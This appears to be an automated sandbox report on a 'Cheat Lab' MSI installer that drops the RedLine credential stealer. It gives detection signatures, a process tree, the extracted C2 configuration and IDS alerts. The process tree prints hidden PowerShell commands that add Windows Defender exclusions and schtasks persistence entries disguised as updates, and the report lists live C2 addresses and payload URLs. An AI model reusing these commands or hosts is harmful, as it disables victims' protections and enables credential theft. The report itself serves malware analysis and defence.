Edit tour

Windows Analysis Report
Cheat.Lab.2.7.2.msi

Overview

General Information

Sample Name:	Cheat.Lab.2.7.2.msi
Analysis ID:	1337697
MD5:	5395845c70fd2495f0407291be32201c
SHA1:	a76288fe27b9684ed8d141b50aa55437833ed1a2
SHA256:	338f6a75e6e11459a5cedb3a2917f9b3f9fcb4991fec84514692b649393ea3bb
Tags:	msiRedlineStealer
Infos:

Detection

RedLine

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Found malware configuration

Drops large PE files

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Suspicious powershell command line found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

C2 URLs / IPs found in malware configuration

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

May check the online IP address of the machine

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Checks for available system drives (often done to infect USB drives)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Enables debug privileges

AV process strings found (often used to terminate AV products)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Contains functionality to detect virtual machines (SLDT)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 7800 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Cheat.Lab.2.7.2.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7872 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7920 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding F46D88023010FA67F9BE0B7659EC2472 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

LuaJIT.exe (PID: 5524 cmdline: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua MD5: 9CB9E0D0975E51A90BDED2B3BE8FACA9)

msiexec.exe (PID: 8092 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding CF599F91F9CA52D79045F3DD2E6AB85B MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 8160 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 2387AF9F5B3315EE543DBCEF741FA41F E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSIC01A.tmp (PID: 7232 cmdline: C:\Windows\Installer\MSIC01A.tmp" /EnforcedRunAsAdmin /RunAsAdmin /HideWindow "C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat MD5: B9545ED17695A32FACE8C3408A6A3553)

cmd.exe (PID: 7356 cmdline: C:\Windows\System32\cmd.exe" /C ""C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7524 cmdline: powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

LuaJIT.exe (PID: 7400 cmdline: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua MD5: 9CB9E0D0975E51A90BDED2B3BE8FACA9)

schtasks.exe (PID: 432 cmdline: schtasks /create /sc daily /st 11:45 /f /tn NotepadUpdateTask_NzEz /tr ""C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe" "C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua"" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6052 cmdline: schtasks /create /sc daily /st 11:45 /f /tn "LuaJIT" /tr ""C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua"" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

connect.exe (PID: 4584 cmdline: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe MD5: ADF3C225DDD9EEB90009F892A9A83D1B)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

NzEz.exe (PID: 1736 cmdline: C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\NzEz.exe C:\ProgramData\OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms\script.lua MD5: 9CB9E0D0975E51A90BDED2B3BE8FACA9)

LuaJIT.exe (PID: 4128 cmdline: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua MD5: 9CB9E0D0975E51A90BDED2B3BE8FACA9)

LuaJIT.exe (PID: 6136 cmdline: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe" "C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua MD5: 9CB9E0D0975E51A90BDED2B3BE8FACA9)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": "91.103.252.48:33597", "Bot Id": "c,p", "Authorization Header": "32438af4581b8a75ad1d22d8de993ed9"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000002.2131526170.000000000040D000.00000004.00000001.01000000.00000008.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.2131675948.0000000000462000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000016.00000002.2133528800.0000000002AA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: connect.exe PID: 4584	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: connect.exe PID: 4584	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.connect.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.connect.exe.460000.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Snort Signatures

ET TROJAN Redline Stealer Activity (Response) - Source IP: 91.103.252.48 - Destination IP: 192.168.2.8

Timestamp:	91.103.252.48192.168.2.833597497152046056 11/06/23-15:36:09.338589
SID:	2046056
Source Port:	33597
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization) - Source IP: 192.168.2.8 - Destination IP: 91.103.252.48

Timestamp:	192.168.2.891.103.252.4849715335972046045 11/06/23-15:36:01.555640
SID:	2046045
Source Port:	49715
Destination Port:	33597
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.8 - Destination IP: 91.103.252.48

Timestamp:	192.168.2.891.103.252.4849715335972043231 11/06/23-15:36:12.584768
SID:	2043231
Source Port:	49715
Destination Port:	33597
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 91.103.252.48 - Destination IP: 192.168.2.8

Timestamp:	91.103.252.48192.168.2.833597497152043234 11/06/23-15:36:01.858290
SID:	2043234
Source Port:	33597
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: 91.103.252.48:33597

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000002.2133528800.00000000027F1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: RedLine {"C2 url": "91.103.252.48:33597", "Bot Id": "c,p", "Authorization Header": "32438af4581b8a75ad1d22d8de993ed9"}

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.8:49710 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab\exclusion.bat	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Directory created: C:\Program Files\Cheat Lab Inc\Cheat Lab\script.lua	Jump to behavior

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSIC01A.tmp, 00000006.00000000.1435656250.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, MSIC01A.tmp, 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, 66bc0c.msi.2.dr
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: connect.exe, 00000016.00000002.2145496559.00000000081C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: Cheat.Lab.2.7.2.msi, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, MSIACBE.tmp.0.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr, 66bc0c.msi.2.dr, MSIAB91.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: Cheat.Lab.2.7.2.msi, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, MSIACBE.tmp.0.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr, 66bc0c.msi.2.dr, MSIAB91.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSIC01A.tmp, 00000006.00000000.1435656250.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, MSIC01A.tmp, 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmp, Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, 66bc0c.msi.2.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\aischeduler2.pdb source: Cheat.Lab.2.7.2.msi, MSIBEB1.tmp.2.dr, 66bc0d.rbs.2.dr, MSIBE81.tmp.2.dr, MSIBF2F.tmp.2.dr, 66bc0c.msi.2.dr

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: C:\Windows\Installer\MSIC01A.tmp

Code function: 6_2_00F6AF79 FindFirstFileExW,

6_2_00F6AF79

Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	22_2_02633D10
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 026334DAh	22_2_026334C2
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 0815ECDFh	22_2_0815E978
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	22_2_08157048
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 0815E243h	22_2_0815DE54
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 08D92CBFh	22_2_08D92917
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 08D930B3h	22_2_08D92917
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 08D97DEDh	22_2_08D97930
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 08D913ECh	22_2_08D90C90
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 08D965A7h	22_2_08D9533B
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 08D919ABh	22_2_08D916D0
Source: C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe	Code function: 4x nop then jmp 08D9453Ah	22_2_08D94519

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization) 192.168.2.8:49715 -> 91.103.252.48:33597
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.8:49715 -> 91.103.252.48:33597
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 91.103.252.48:33597 -> 192.168.2.8:49715
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer Activity (Response) 91.103.252.48:33597 -> 192.168.2.8:49715

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 91.103.252.48:33597

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ip-api.com

Source: Joe Sandbox View

ASN Name: HOSTGLOBALPLUS-ASRU HOSTGLOBALPLUS-ASRU

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: global traffic

TCP traffic: 192.168.2.8:49715 -> 91.103.252.48:33597

Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/46122658-3693405117-2476756634-1003s
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/Roaming
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms37
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Msk7y
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/loader/screen/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Mso8
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp, LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB344D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Ms8
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Msg
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.37.71.112/task/OWYsN2YsN2YsYTAsOWUsODYsOGMsOTYsNjQsN2Msscord
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB34C4000.00000004.00000020.00020000.00000000.sdmp, LuaJIT.exe, 00000009.00000002.1936998576.0000022EB344D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txt
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB344D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txty
Source: LuaJIT.exe, 00000009.00000002.1936998576.0000022EB3517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Cheat.Lab.2.7.2.msi, MSIC01A.tmp.2.dr, MSIBEB1.tmp.2.dr, MSIAC8E.tmp.0.dr, MSIBE32.tmp.2.dr, MSIBDB3.tmp.2.dr, MSIAC3E.tmp.0.dr, 66bc0d.rbs.2.dr, MSIACBE.tmp.0.dr, MSIBE81.tmp.2.dr, MSIAD1D.tmp.0.dr, MSIBD45.tmp.2.dr, MSIAC5E.tmp.0.dr, MSID74E.tmp.0.dr, MSIBF2F.tmp.2.dr, MSIBE12.tmp.2.dr, MSIAEF5.tmp.0.dr, MSICA9B.tmp.2.dr, MSID76E.tmp.0.dr, MSIAEC5.tmp.0.dr, MSIAEA5.tmp.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: connect.exe, 00000016.00000002.2133528800.000000000288A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
